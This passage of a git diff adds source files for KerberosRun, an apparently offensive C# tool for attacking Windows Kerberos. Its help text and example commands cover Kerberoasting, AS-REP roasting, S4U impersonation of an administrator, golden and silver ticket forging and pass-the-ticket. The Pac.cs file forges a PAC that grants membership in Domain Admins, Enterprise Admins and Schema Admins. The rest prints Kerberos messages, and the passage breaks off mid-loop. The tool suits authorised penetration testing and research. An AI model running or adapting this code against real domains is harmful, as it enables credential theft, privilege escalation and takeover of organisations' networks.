= null, HelpText = "Impersonate Username")] + public string Impersonate { get; set; } + + [Option("Pass", DefaultValue = null, HelpText = "Password")] + public string Pass { get; set; } + + [Option("Host", DefaultValue = null, HelpText = "Target Server")] + public string Host { get; set; } + + [Option("Service", DefaultValue = null, HelpText = "Service for a sliver ticket")] + public string Service { get; set; } + + [Option("RC4", DefaultValue = null, HelpText = "RC4 Hash")] + public string RC4 { get; set; } + + [Option("AES128", DefaultValue = null, HelpText = "AES128 Hash")] + public string AES128 { get; set; } + + [Option("AES256", DefaultValue = null, HelpText = "AES256 Hash")] + public string AES256 { get; set; } + + [Option("Spn", DefaultValue = null, HelpText = "SPN")] + public string Spn { get; set; } + + [Option("Format", DefaultValue = "hashcat", HelpText = "Hash Format")] + public string Format { get; set; } + + //[Option("KrbtgtHash", DefaultValue = null, HelpText = "Krbtgt Account Hash")] + //public string KrbtgtHash { get; set; } + + [Option("UserID", DefaultValue = 500, HelpText = "User ID")] + public int UserID { get; set; } + + [Option("DomainSID", DefaultValue = null, HelpText = "Domain SID")] + public string DomainSID { get; set; } + + [Option("DecryptEtype", DefaultValue = null, HelpText = "Decrypt Encryption Type")] + public string DecryptEtype { get; set; } + + [Option("DecryptTGT", DefaultValue = null, HelpText = "Decrypt TGT")] + public string DecryptTGT { get; set; } + + [Option("DecryptTGS", DefaultValue = null, HelpText = "Decrypt TGS")] + public string DecryptTGS { get; set; } + + [Option("SrvName", DefaultValue = null, HelpText = "Service Account Name for decrypting TGS")] + public string SrvName { get; set; } + + [Option("Verbose", DefaultValue = false, HelpText = "Verbose")] + public bool Verbose { get; set; } + + [Option("Outfile", DefaultValue = false, HelpText = "Write Kirbi file.")] + public bool Outfile { get; set; } + + [Option("PTT", DefaultValue = false, HelpText = "Pass The Ticket into current session")] + public bool PTT { get; set; } + + + [HelpOption] + public string GetHelp() + { + var help = @" +Usage: KerberosRun.exe -h + + [--AskTGT] Ask for a TGT + --User* A valid username + --Pass A valid password + + [--AskTGS] Ask for a TGS + --User* A valid username + --Pass A valid password + --SPN* Target SPN for the service request + + [--Kerberoast] Kerberoasting + --User* A valid username + --Pass A valid password + --SPN* Target SPN for Kerberoasting + + [--Asreproast] ASREPRoasting + --User* A valid username that does not require PreAuth + --Format Output Hash format (John/Hashcat, Default: Hashcat) + + [--S4U2Self] Service for User to Self + --User* A valid username that has SPN set + --Pass A valid password + --ImperonsateUser* A user to impersonate + + [--S4U] S4U2Self and S4U2Proxy + --User* A valid username that has SPN set + --Pass A valid password + --Imperonsate* A user to impersonate + --SPN* Target SPN for impersonate user + + [--Golden] Build a Golden Ticket + --RC4/AES128/AES256 krbtgt account hash + --DomainSid* Domain SIDs + --UserID User ID (default: 500) + --User* User name for the golden ticket + + [--Sliver] Make a Sliver Ticket + --RC4/AES128/AES256 Service account hash + --DomainSid* Domain SID + --Service* Service name (HTTP/CIFS/HOST...) + --Host* Target Servers + --User* User name for the sliver ticket + + [--Ticket] Pass base64 encoded kirbi ticket into current session + + --Domain A valid domain name (default: current domain) + --RC4/AES128/AES256 A valid hash (alternative way for authentication) + --Verbose Verbose mode + --Outfile Write the ticket to a kirbi file under the current directory + --PTT Pass the ticket into current session + --DecryptTGT Supply the krbtgt hash and decrypt the TGT ticket + --DecryptTGS Supply the service account hash and decrypt the TGS ticket + --DecryptEtype The encryption type of the hash for decrypting tickets (rc4/aes128/aes256) + --SrvName The service account name for decrypting TGS + + +Example: + .\KerberosRun.exe --Asktgt --user username --pass password --verbose --outfile --decrypttgt [krbtgtHash] --decryptetype aes256 + .\KerberosRun.exe --Asktgs --user username --pass password --spn service/srv.domain.com --verbose --outfile + .\KerberosRun.exe --Asreproast --user username --verbose + .\KerberosRun.exe --Kerberoast --user username --rc4 [RC4Hash] --spn service/srv.domain.com + .\KerberosRun.exe --S4U2Self --user username --aes128 [AES128Hash] --impersonateuser administrator --verbose + .\KerberosRun.exe --S4U --user username --aes256 [AES256Hash] --impersonateuser administrator --spn ldap/dc1.domain.com --ptt + .\KerberosRun.exe --Golden --user administrator --domain domain.com --userid 500 --domainsid [DomainSID] --RC4 [krbtgtHash] --ptt + .\KerberosRun.exe --Sliver --user administrator --domain domain.com --domainsid [DomainSID] --RC4 [srvHash] --Service HTTP --HOST DC01$ -ptt + .\KerberosRun.exe --Ticket Base64EncodedKirbiString/KirbiTicketFiles + "; + return help; + } + + } +} diff --git a/KerberosRun/KerberosRun/Pac.cs b/KerberosRun/KerberosRun/Pac.cs new file mode 100644 index 0000000..aefb81a --- /dev/null +++ b/KerberosRun/KerberosRun/Pac.cs @@ -0,0 +1,235 @@ +using Kerberos.NET; +using Kerberos.NET.Credentials; +using Kerberos.NET.Crypto; +using Kerberos.NET.Entities; +using Kerberos.NET.Entities.Pac; +using Kerberos.NET.Ndr; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; + +namespace KerberosRun +{ + class Pac + { + //KDC KRB_AP_ERR_MODIFIED: Message stream modified + //During TGS processing, the KDC was unable to verify the signature on the PAC from krbtgt. This indicates the PAC was modified. + + //Kerberos PAC Validation + //https://docs.microsoft.com/en-us/archive/blogs/openspecification/understanding-microsoft-kerberos-pac-validation + public static KrbAuthorizationData[] generatePac(string username, string domainsid, string domainname, KerberosKey key, DateTime now, + int userid = 500) + { + + Console.WriteLine("[*] Building PAC ..."); + + //////////////Build PAC + + var forgedPac = new PrivilegedAttributeCertificate(); + + //////////////// + //https://github.com/SecWiki/windows-kernel-exploits/blob/5593d65dcb94696242687904b55f4e27ce33f235/MS14-068/pykek/kek/pac.py#L56 + //PAC_LOGON_INFO + var logonInfo = new PacLogonInfo(); + // LogonTime + logonInfo.LogonTime = RpcFileTime.Convert(now); + // LogoffTime + ///logonInfo.LogoffTime = RpcFileTime.Convert(DateTime.MinValue); + // KickOffTime + //logonInfo.KickOffTime = RpcFileTime.Convert(DateTime.MinValue); + // PasswordLastSet + //logonInfo.PwdLastChangeTime = RpcFileTime.Convert(DateTime.Now.AddDays(-22)); + // PasswordCanChange + //logonInfo.PwdCanChangeTime = RpcFileTime.Convert(DateTime.Now.AddDays(-21)); + // PasswordMustChange + //logonInfo.PwdMustChangeTime = RpcFileTime.Convert(DateTime.MinValue); + // EffectiveName + logonInfo.UserName = username; + // FullName + //logonInfo.UserDisplayName = null; + // LogonScript + //logonInfo.LogonScript = ""; + // ProfilePath + //logonInfo.ProfilePath = ""; + // HomeDirectory + //logonInfo.HomeDirectory = ""; + // HomeDirectoryDrive + //logonInfo.HomeDrive = ""; + // LogonCount + //logonInfo.LogonCount = 0; + // BadPasswordCount + //logonInfo.BadPasswordCount = 0; + // UserId + logonInfo.UserId = (uint)userid; + // PrimaryGroupId + logonInfo.GroupId = 513; + // GroupCount + // GroupIds[0] + var se_group_all = SidAttributes.SE_GROUP_ENABLED | + SidAttributes.SE_GROUP_ENABLED_BY_DEFAULT | + SidAttributes.SE_GROUP_INTEGRITY | + SidAttributes.SE_GROUP_INTEGRITY_ENABLED | + SidAttributes.SE_GROUP_LOGON_ID | + SidAttributes.SE_GROUP_MANDATORY | + SidAttributes.SE_GROUP_OWNER | + SidAttributes.SE_GROUP_RESOURCE ; + //SidAttributes.SE_GROUP_USE_FOR_DENY_ONLY; + IEnumerable groupIds = new GroupMembership[] + { + new GroupMembership() + { + Attributes = se_group_all, + RelativeId = 513 + }, + new GroupMembership() + { + Attributes = se_group_all, + RelativeId = 512 + }, + new GroupMembership() + { + Attributes = se_group_all, + RelativeId = 520 + }, + new GroupMembership() + { + Attributes = se_group_all, + RelativeId = 518 + }, + new GroupMembership() + { + Attributes = se_group_all, + RelativeId = 519 + }, + }; + logonInfo.GroupIds = groupIds; + // UserFlags + logonInfo.UserFlags = UserFlags.LOGON_EXTRA_SIDS; + // UserSessionKey + string userSessKeyStr = "00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00"; + byte[] keyByte = Array.ConvertAll(userSessKeyStr.Split('-'), s => Convert.ToByte(s, 16)); + logonInfo.UserSessionKey = keyByte.ToArray().AsMemory(); + // LogonServer + //logonInfo.ServerName = ""; + // LogonDomainName + logonInfo.DomainName = domainname.ToUpper();//domainname.Split('.')[0].ToUpper(); + + + // LogonDomainId + domainsid = domainsid.Replace("S-1-5-", string.Empty); + var subCount = domainsid.Split('-').Length; + + uint[] subAuth = new uint[subCount]; + for (int i=0; i < subCount; i++ ) + { + subAuth[i] = uint.Parse(domainsid.Split('-')[i]); + } + + var identAuth = new byte[6]; + identAuth[5] = (int)IdentifierAuthority.NTAuthority; + + logonInfo.DomainId = new RpcSid() + { + IdentifierAuthority = new RpcSidIdentifierAuthority() + { + IdentifierAuthority = identAuth + }, + SubAuthority = subAuth.AsMemory(), + SubAuthorityCount = (byte)subCount, + Revision = 1 + }; + + + + // Reserved1 + int[] reserved1 = { 0, 0 }; + logonInfo.Reserved1 = reserved1.ToArray().AsMemory(); + // UserAccountControl + logonInfo.UserAccountControl = UserAccountControlFlags.ADS_UF_NORMAL_ACCOUNT | + UserAccountControlFlags.ADS_UF_LOCKOUT; + // SubAuthStatus + logonInfo.SubAuthStatus = 0; + // LastSuccessFulILogon + logonInfo.LastSuccessfulILogon = RpcFileTime.Convert(new DateTime(1601, 1, 1, 12, 00, 00)); + // LastFailedILogon + logonInfo.LastFailedILogon = RpcFileTime.Convert(new DateTime(1601, 1, 1, 12, 00, 00)); + // FailedILogonCount + logonInfo.FailedILogonCount = 0; + // Reserved3 + logonInfo.Reserved3 = 0; + // SidCount + // ExtraSids + // ResourceGroupDomainSid + // ResourceGroupCount + // ResourceGroupIdss + //logonInfo.ResourceGroupIds = null;// new GroupMembership[] { }; + // ExtraIds + //RpcSidAttributes[] extraIds = + //{ + // new RpcSidAttributes() + // { + // Sid = new RpcSid() + // { + // IdentifierAuthority = new RpcSidIdentifierAuthority(){}, + // Revision = 1, + // //SubAuthority = a.ToArray().AsMemory() + // }, + // Attributes = se_group_all + // } + //}; + //logonInfo.ExtraIds = extraIds; + //logonInfo.ResourceGroupIds = new GroupMembership[] { }; + + forgedPac.LogonInfo = logonInfo; + + + + //////////////// + //PAC_CLIENT_INFO + var clientInformation = new PacClientInfo() + { + Name = username, + ClientId = RpcFileTime.Convert(now), + }; + + + forgedPac.ClientInformation = clientInformation; + + //From Book: Network Security Assessment Table 7-26 + //TGT: PAC (KDC) -> krbtgt + // PAC (Server) -> krbtgt + var authz = new List(); + + + var sequence = new KrbAuthorizationDataSequence + { + AuthorizationData = new[] + { + new KrbAuthorizationData + { + Type = AuthorizationDataType.AdWin2kPac, + Data = forgedPac.Encode(key, key) + } + } + }; + + authz.Add( + new KrbAuthorizationData + { + Type = AuthorizationDataType.AdIfRelevant, + Data = sequence.Encode() + }); + + + return authz.ToArray(); + + } + + + + + + } +} \ No newline at end of file diff --git a/KerberosRun/KerberosRun/PrintFunc.cs b/KerberosRun/KerberosRun/PrintFunc.cs new file mode 100644 index 0000000..3bd6d7c --- /dev/null +++ b/KerberosRun/KerberosRun/PrintFunc.cs @@ -0,0 +1,844 @@ +using System; +using Kerberos.NET.Crypto; +using Kerberos.NET.Entities; +using System.Linq; +using System.Text.RegularExpressions; + +namespace KerberosRun +{ + class PrintFunc + { + + + public static void PrintBanner() + { + Console.WriteLine(); + Console.WriteLine(@" __ __ "); + Console.WriteLine(@" / /_____ ____/ / ___ _______ ___ ______ _____ "); + Console.WriteLine(@" / '_/ -_) __/ _ \/ -_) __/ _ \(_- p.Type == PaDataType.PA_SUPPORTED_ETYPES); + //var encryptedEtypes = KrbETypeList.Decode(etypes.Value); + + Console.WriteLine("{0} - {1} :", decrypted, etypes.Type); + Console.WriteLine("{0} - Value : {1}", decrypted, (BitConverter.ToString(etypes.Value.ToArray())).Replace("-", "")); + } + else if (data.Type == PaDataType.PA_ENC_TIMESTAMP) + { + var timestampPaData = paData.FirstOrDefault(p => p.Type == PaDataType.PA_ENC_TIMESTAMP); + var encryptedTimestamp = KrbEncryptedData.Decode(timestampPaData.Value); + + Console.WriteLine(" - {0} : ", timestampPaData.Type); + Console.WriteLine(" - EType : {0}", encryptedTimestamp.EType); + Console.WriteLine(" - kvno : {0}", encryptedTimestamp.KeyVersionNumber); + Console.WriteLine(" - Cipher : [ClientEncryptedTimestamp...]"); + //Console.WriteLine(" - Cipher : {0}", (BitConverter.ToString(encryptedTimestap.Cipher.ToArray())).Replace("-", "")); + + var timeStamp = encryptedTimestamp.Decrypt(key, KeyUsage.PaEncTs, d => KrbPaEncTsEnc.Decode(d)); + + Console.WriteLine(" - PaTimestamp : {0}", timeStamp.PaTimestamp); + Console.WriteLine(" - PaUSec : {0}", timeStamp.PaUSec); + } + else if (data.Type == PaDataType.PA_PAC_REQUEST) + { + var pacReq = paData.FirstOrDefault(p => p.Type == PaDataType.PA_PAC_REQUEST); + var decodedPac = KrbPaPacRequest.Decode(pacReq.Value); + + Console.WriteLine(" - {0} :", pacReq.Type); + Console.WriteLine(" - IncludePac : {0}", decodedPac.IncludePac); + } + else if (data.Type == PaDataType.PA_PAC_OPTIONS) + { + var options = paData.FirstOrDefault(p => p.Type == PaDataType.PA_PAC_OPTIONS); + var decodedOptions = KrbPaPacOptions.Decode(options.Value); + + Console.WriteLine("{0} - {1} :", decrypted, options.Type); + Console.WriteLine("{0} - Flags : {1}", decrypted, decodedOptions.Flags); + } + else if (data.Type == PaDataType.PA_ETYPE_INFO2) + { + var info2Enc = paData.FirstOrDefault(p => p.Type == PaDataType.PA_ETYPE_INFO2); + var decodedInfo2 = info2Enc.DecodeETypeInfo2().FirstOrDefault(); + Console.WriteLine(" - {0} :", info2Enc.Type); + Console.WriteLine(" - EType : {0}", decodedInfo2.EType); + Console.WriteLine(" - S2kParams : {0}", decodedInfo2.S2kParams); + Console.WriteLine(" - Salt : {0}", decodedInfo2.Salt); + } + else if (data.Type == PaDataType.PA_FOR_USER) + { + var users = paData.FirstOrDefault(p => p.Type == PaDataType.PA_FOR_USER); + var decodedUsers = KrbPaForUser.Decode(users.Value); + + Console.WriteLine("{0} - {1} :", decrypted, users.Type); + Console.WriteLine("{0} - UserName :", decrypted); + Console.WriteLine("{0} - Type : {1}", decrypted, decodedUsers.UserName.Type); + Console.WriteLine("{0} - Name : {1}", decrypted, decodedUsers.UserName.Name[0]); + Console.WriteLine("{0} - UserRealm : {1}", decrypted, decodedUsers.UserRealm); + Console.WriteLine("{0} - AuthPackage : {1}", decrypted, decodedUsers.AuthPackage); + Console.WriteLine("{0} - Checksum :", decrypted); + Console.WriteLine("{0} - Type : {1}", decrypted, decodedUsers.Checksum.Type); + Console.WriteLine("{0} - Checksum : {1}", decrypted, (BitConverter.ToString(decodedUsers.Checksum.Checksum.ToArray())).Replace("-", "")); + } + else if (data.Type == PaDataType.PA_TGS_REQ) + { + var tgsreq = paData.FirstOrDefault(p => p.Type == PaDataType.PA_TGS_REQ); + var apreq = tgsreq.DecodeApReq(); + Console.WriteLine(" - {0} :", tgsreq.Type); + //Console.WriteLine(" - Value : {0}", (BitConverter.ToString(tgsreq.Value.ToArray())).Replace("-", "")); + Console.WriteLine(" - {0} :", apreq.MessageType); + Console.WriteLine(" - pvno : {0}", apreq.ProtocolVersionNumber); + Console.WriteLine(" - ApOptions : {0}", apreq.ApOptions); + Console.WriteLine(" - Ticket :"); + Console.WriteLine(" - tkt-vno : {0}", apreq.Ticket.TicketNumber); + Console.WriteLine(" - Realm : {0}", apreq.Ticket.Realm); + Console.WriteLine(" - SName : "); + Console.WriteLine(" - Type : {0}", apreq.Ticket.SName.Type); + foreach (var name in apreq.Ticket.SName.Name) + { + Console.WriteLine(" - Name : {0}", name); + } + + Console.WriteLine(" - EncryptedPart :"); + Console.WriteLine(" - kvno : {0}", apreq.Ticket.EncryptedPart.KeyVersionNumber); + Console.WriteLine(" - EType : {0}", apreq.Ticket.EncryptedPart.EType); + Console.WriteLine(" - Cipher : [krbtgtEncryptedCipher...]"); + //Console.WriteLine(" - Cipher : {0}", (BitConverter.ToString(apreq.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "")); + Console.WriteLine(" - Authenticator : "); + Console.WriteLine(" - kvno : {0}", apreq.Authenticator.KeyVersionNumber); + Console.WriteLine(" - EType : {0}", apreq.Authenticator.EType); + //Console.WriteLine(" - Cipher : {0}", apreq.Authenticator.Cipher); + var authenticator = apreq.Authenticator.Decrypt(sessionKey, + KeyUsage.PaTgsReqAuthenticator, + d => KrbAuthenticator.DecodeApplication(d)); + + Console.WriteLine(" - Realm : {0}", authenticator.Realm); + Console.WriteLine(" - SequenceNumber : {0}", authenticator.SequenceNumber); + Console.WriteLine(" - Subkey :"); + Console.WriteLine(" - EType : {0}", authenticator.Subkey.EType); + Console.WriteLine(" - KeyValue : {0}", (BitConverter.ToString(authenticator.Subkey.KeyValue.ToArray())).Replace("-", "")); + Console.WriteLine(" - CTime : {0}", authenticator.CTime); + Console.WriteLine(" - CuSec : {0}", authenticator.CuSec); + Console.WriteLine(" - CName : "); + Console.WriteLine(" - Type : {0}", authenticator.CName.Type); + Console.WriteLine(" - Name : {0}", authenticator.CName.Name); + Console.WriteLine(" - Checksum :"); + Console.WriteLine(" - Type : {0}", authenticator.Checksum.Type); + Console.WriteLine(" - Checksum : {0}", (BitConverter.ToString(authenticator.Checksum.Checksum.ToArray())).Replace("-", "")); + + //if (authenticator.Checksum.Type == ChecksumType.KERB_CHECKSUM_HMAC_MD5) + //{ + // Console.WriteLine("======================================"); + // Console.WriteLine("Testing... "); + // Console.WriteLine(authenticator.Checksum.DecodeDelegation().Flags); + // Console.WriteLine(authenticator.Checksum.DecodeDelegation().ChannelBinding); + // Console.WriteLine(authenticator.Checksum.DecodeDelegation().Extensions); + // Console.WriteLine(authenticator.Checksum.DecodeDelegation().DelegationOption); + // Console.WriteLine(authenticator.Checksum.DecodeDelegation().DelegationTicket); + // Console.WriteLine("======================================"); + //} + + + Console.WriteLine(" - AuthorizationData : {0}", authenticator.AuthorizationData); + Console.WriteLine(" - AuthenticatorVersionNumber : {0}", authenticator.AuthenticatorVersionNumber); + } + else + { + Console.WriteLine("[-] Unknown PaData Type: {0}", data.Type); + } + } + } + + + + + } + + + + //AS-REQ + public static void PrintReq(KrbAsReq reqMessage, KerberosKey key) + { + Console.WriteLine(" * MessageType : {0}", reqMessage.MessageType); + Console.WriteLine(" * pvno : {0}", reqMessage.ProtocolVersionNumber); + Console.WriteLine(" * PaData :"); + PrintPaData(reqMessage.PaData, key); + Console.WriteLine(" * Body :"); + Console.WriteLine(" - KdcOptions : {0}", reqMessage.Body.KdcOptions); + Console.WriteLine(" - CName :"); + Console.WriteLine(" - Type : {0}", reqMessage.Body.CName.Type); + Console.WriteLine(" - Name : {0}", reqMessage.Body.CName.Name); + Console.WriteLine(" - Realm : {0}", reqMessage.Body.Realm); + Console.WriteLine(" - SName :"); + Console.WriteLine(" - Type : {0}", reqMessage.Body.SName.Type); + for (int i = 0; i < reqMessage.Body.SName.Name.Count(); i++) + { + Console.WriteLine(" - Name : {0}", reqMessage.Body.SName.Name[i]); + } + Console.WriteLine(" - Till : {0}", reqMessage.Body.Till); + Console.WriteLine(" - RTime : {0}", reqMessage.Body.RTime); + Console.WriteLine(" - Nonce : {0}", reqMessage.Body.Nonce); + Console.WriteLine(" - EType :"); + for (int i = 0; i < reqMessage.Body.EType.Count(); i++) + { + Console.WriteLine(" - EncType : {0}", reqMessage.Body.EType[i]); + } + Console.WriteLine(" - Addresses :"); + Console.WriteLine(" - Type : {0}", reqMessage.Body.Addresses[0].AddressType); + var addrhex = BitConverter.ToString(reqMessage.Body.Addresses[0].Address.ToArray()); + var addr = string.Join("", Regex.Split(addrhex, "-").Select(x => (char)Convert.ToByte(x, 16))); + Console.WriteLine(" - Addresses : {0}", addr); + Console.WriteLine(" - AdditionalTickets : {0}", reqMessage.Body.AdditionalTickets); + Console.WriteLine(" - EncAuthorizationData : {0}", reqMessage.Body.EncAuthorizationData); + Console.WriteLine(" - From : {0}", reqMessage.Body.From); + } + + //TGS-REQ + public static void PrintReq(KrbTgsReq reqMessage, KerberosKey key, KerberosKey sessionKey = null) + { + Console.WriteLine(" * MessageType : {0}", reqMessage.MessageType); + Console.WriteLine(" * pvno : {0}", reqMessage.ProtocolVersionNumber); + Console.WriteLine(" * PaData :"); + PrintPaData(reqMessage.PaData, key, "", sessionKey); + Console.WriteLine(" * Body :"); + Console.WriteLine(" - KdcOptions : {0}", reqMessage.Body.KdcOptions); + //Console.WriteLine(" - CName :"); + //Console.WriteLine(" - Type : {0}", reqMessage.Body.CName.Type); + //Console.WriteLine(" - Name : {0}", reqMessage.Body.CName.Name); + Console.WriteLine(" - Realm : {0}", reqMessage.Body.Realm); + Console.WriteLine(" - SName :"); + Console.WriteLine(" - Type : {0}", reqMessage.Body.SName.Type); + for (int i = 0; i < reqMessage.Body.SName.Name.Count(); i++) + { + Console.WriteLine(" - Name : {0}", reqMessage.Body.SName.Name[i]); + } + Console.WriteLine(" - Till : {0}", reqMessage.Body.Till); + Console.WriteLine(" - RTime : {0}", reqMessage.Body.RTime); + Console.WriteLine(" - Nonce : {0}", reqMessage.Body.Nonce); + Console.WriteLine(" - EType :"); + for (int i = 0; i < reqMessage.Body.EType.Count(); i++) + { + Console.WriteLine(" - EncType : {0}", reqMessage.Body.EType[i]); + } + //Console.WriteLine(" - Addresses :"); + //Console.WriteLine(" - Type : {0}", reqMessage.Body.Addresses); + + Console.WriteLine(" - EncAuthorizationData : {0}", reqMessage.Body.EncAuthorizationData); + Console.WriteLine(" - From : {0}", reqMessage.Body.From); + + Console.Write(" - AdditionalTickets : "); + if (reqMessage.Body.AdditionalTickets != null) + { + Console.WriteLine("(S4U2Self Ticket)"); + foreach (var ticket in reqMessage.Body.AdditionalTickets) + { + Console.WriteLine(" - tkt-vno : {0}", ticket.TicketNumber); + Console.WriteLine(" - Realm : {0}", ticket.Realm); + Console.WriteLine(" - SName : "); + Console.WriteLine(" - Name : {0}", ticket.SName.Name); + Console.WriteLine(" - Type : {0}", ticket.SName.Type); + Console.WriteLine(" - EncryptedPart :"); + Console.WriteLine(" - kvno : {0}", ticket.EncryptedPart.KeyVersionNumber); + Console.WriteLine(" - EType : {0}", ticket.EncryptedPart.EType); + //Console.WriteLine(" - Cipher : {0}", (BitConverter.ToString(asRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "")); + Console.WriteLine(" - Cipher : [ServiceEncryptedCipher...]"); + } + } + else + { + Console.WriteLine(); + } + + + } + + + public static void PrintReq(KrbKdcReq reqMessage, KerberosKey key) + { + Console.WriteLine(" * MessageType : {0}", reqMessage.MessageType); + Console.WriteLine(" * pvno : {0}", reqMessage.ProtocolVersionNumber); + Console.WriteLine(" * PaData :"); + PrintPaData(reqMessage.PaData, key); + Console.WriteLine(" * Body :"); + Console.WriteLine(" - KdcOptions : {0}", reqMessage.Body.KdcOptions); + //Console.WriteLine(" - Realm : {0}", reqMessage.Body.Realm); + //Console.WriteLine(" - SName :"); + //Console.WriteLine(" - Type : {0}", reqMessage.Body.SName.Type); + //for (int i = 0; i < reqMessage.Body.SName.Name.Count(); i++) + //{ + // Console.WriteLine(" - Name : {0}", reqMessage.Body.SName.Name[i]); + //} + //Console.WriteLine(" - Till : {0}", reqMessage.Body.Till); + //Console.WriteLine(" - RTime : {0}", reqMessage.Body.RTime); + //Console.WriteLine(" - Nonce : {0}", reqMessage.Body.Nonce); + //Console.WriteLine(" - EType : {0}", reqMessage.Body.Nonce); + //Console.WriteLine(" - EType :"); + //for (int i = 0; i < reqMessage.Body.EType.Count(); i++) + //{ + // Console.WriteLine(" - EncType : {0}", reqMessage.Body.EType[i]); + //} + ////Console.WriteLine(" - Addresses :"); + ////Console.WriteLine(" - Type : {0}", reqMessage.Body.Addresses); + //Console.WriteLine(" - AdditionalTickets : {0}", reqMessage.Body.AdditionalTickets); + //Console.WriteLine(" - EncAuthorizationData : {0}", reqMessage.Body.EncAuthorizationData); + } + + + + //AS-REP + public static void PrintRep(KrbAsRep asRep, KerberosKey key) + { + Console.WriteLine(" * MessageType : {0}", asRep.MessageType); + Console.WriteLine(" * pvno : {0}", asRep.ProtocolVersionNumber); + Console.WriteLine(" * PaData :"); + PrintPaData(asRep.PaData, key); + + + Console.WriteLine(" * CRealm : {0}", asRep.CRealm); + Console.WriteLine(" * CName : "); + Console.WriteLine(" - Type : {0}", asRep.CName.Type); + Console.WriteLine(" - Name : {0}", asRep.CName.Name); + Console.WriteLine(" * Ticket :"); + Console.WriteLine(" - tkt-vno : {0}", asRep.Ticket.TicketNumber); + Console.WriteLine(" - Realm : {0}", asRep.Ticket.Realm); + Console.WriteLine(" - SName : "); + Console.WriteLine(" - Name : {0}", asRep.Ticket.SName.Name); + Console.WriteLine(" - Type : {0}", asRep.Ticket.SName.Type); + Console.WriteLine(" - EncryptedPart :"); + Console.WriteLine(" - kvno : {0}", asRep.Ticket.EncryptedPart.KeyVersionNumber); + Console.WriteLine(" - EType : {0}", asRep.Ticket.EncryptedPart.EType); + //Console.WriteLine(" - Cipher : {0}", (BitConverter.ToString(asRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "")); + Console.WriteLine(" - Cipher : [krbtgtEncryptedCipher...]"); + Console.WriteLine(" * Enc-Part :"); + Console.WriteLine(" - kvno : {0}", asRep.EncPart.KeyVersionNumber); + Console.WriteLine(" - EType : {0}", asRep.EncPart.EType); + //Console.WriteLine(" - Cipher : {0}", (BitConverter.ToString(asRep.EncPart.Cipher.ToArray())).Replace("-", "")); + Console.WriteLine(" - Cipher : [ClientEncryptedCipher...]"); + } + + //TGS-REP + public static void PrintRep(KrbTgsRep tgsRep, KerberosKey key) + { + Console.WriteLine(" * MessageType : {0}", tgsRep.MessageType); + Console.WriteLine(" * pvno : {0}", tgsRep.ProtocolVersionNumber); + Console.WriteLine(" * PaData :"); + PrintPaData(tgsRep.PaData, key); + Console.WriteLine(" * CRealm : {0}", tgsRep.CRealm); + Console.WriteLine(" * CName :"); + Console.WriteLine(" - Type : {0}", tgsRep.CName.Type); + Console.WriteLine(" - Name : {0}", tgsRep.CName.Name); + Console.WriteLine(" * Ticket :"); + Console.WriteLine(" - tkt-vno : {0}", tgsRep.Ticket.TicketNumber); + Console.WriteLine(" - Realm : {0}", tgsRep.Ticket.Realm); + Console.WriteLine(" - SName : "); + Console.WriteLine(" - Name : {0}", tgsRep.Ticket.SName.Name); + Console.WriteLine(" - Type : {0}", tgsRep.Ticket.SName.Type); + Console.WriteLine(" - EncryptedPart :"); + Console.WriteLine(" - kvno : {0}", tgsRep.Ticket.EncryptedPart.KeyVersionNumber); + Console.WriteLine(" - EType : {0}", tgsRep.Ticket.EncryptedPart.EType); + if (tgsRep.Ticket.SName.Name[0] == "krbtgt") + { + Console.WriteLine(" - Cipher : [krbtgtEncryptedCipher...]"); + } + else + { + Console.WriteLine(" - Cipher : [ServiceEncryptedCipher...]"); + } + + //Console.WriteLine(" - Cipher : {0}", (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "")); + Console.WriteLine(" * Enc-Part :"); + Console.WriteLine(" - EType : {0}", tgsRep.EncPart.EType); + Console.WriteLine(" - kvno : {0}", tgsRep.EncPart.KeyVersionNumber); + //Console.WriteLine(" - Cipher : {0}", (BitConverter.ToString(tgsRep.EncPart.Cipher.ToArray())).Replace("-", "")); + Console.WriteLine(" - Cipher : [SubSessionKeyEncryptedCipher..]"); + } + + //AS-REP ENC-PART + public static void PrintRepEnc(KrbEncAsRepPart repMessage, KerberosKey key) + { + Console.WriteLine(" - AuthTime : {0}", repMessage.AuthTime); + Console.WriteLine(" - StartTime : {0}", repMessage.StartTime); + Console.WriteLine(" - EndTime : {0}", repMessage.EndTime); + Console.WriteLine(" - RenewTill : {0}", repMessage.RenewTill); + Console.WriteLine(" - Nonce : {0}", repMessage.Nonce); + Console.WriteLine(" - Realm : {0}", repMessage.Realm); + Console.WriteLine(" - SName :"); + Console.WriteLine(" - Type : {0}", repMessage.SName.Type); + for (int i = 0; i < repMessage.SName.Name.Count(); i++) + { + Console.WriteLine(" - Name : {0}", repMessage.SName.Name[i]); + } + Console.WriteLine(" - EncryptedPaData :"); + PrintPaData(repMessage.EncryptedPaData.MethodData, key, " ", null); + Console.WriteLine(" - Key :"); + Console.WriteLine(" - EType : {0}", repMessage.Key.EType); + Console.WriteLine(" - Value : {0}", (BitConverter.ToString(repMessage.Key.KeyValue.ToArray())).Replace("-", "")); + Console.WriteLine(" - KeyExpiration : {0}", repMessage.KeyExpiration); + Console.WriteLine(" - CAddr :"); + Console.WriteLine(" - Type : {0}", repMessage.CAddr[0].AddressType); + var addrhex = BitConverter.ToString(repMessage.CAddr[0].Address.ToArray()); + var addr = string.Join("", Regex.Split(addrhex, "-").Select(x => (char)Convert.ToByte(x, 16))); + Console.WriteLine(" - Addresses : {0}", addr); + Console.WriteLine(" - Flags : {0}", repMessage.Flags); + Console.WriteLine(" - LastReq "); + Console.WriteLine(" - Type : {0}", repMessage.LastReq.FirstOrDefault().Type); + Console.WriteLine(" - Type : {0}", repMessage.LastReq.FirstOrDefault().Value); + + } + + //TGS-REP ENC-PART + public static void PrintRepEnc(KrbEncTgsRepPart repMessage, KerberosKey key) + { + Console.WriteLine(" - AuthTime : {0}", repMessage.AuthTime); + Console.WriteLine(" - StartTime : {0}", repMessage.StartTime); + Console.WriteLine(" - EndTime : {0}", repMessage.EndTime); + Console.WriteLine(" - RenewTill : {0}", repMessage.RenewTill); + Console.WriteLine(" - Nonce : {0}", repMessage.Nonce); + Console.WriteLine(" - Realm : {0}", repMessage.Realm); + Console.WriteLine(" - SName :"); + Console.WriteLine(" - Type : {0}", repMessage.SName.Type); + for (int i = 0; i < 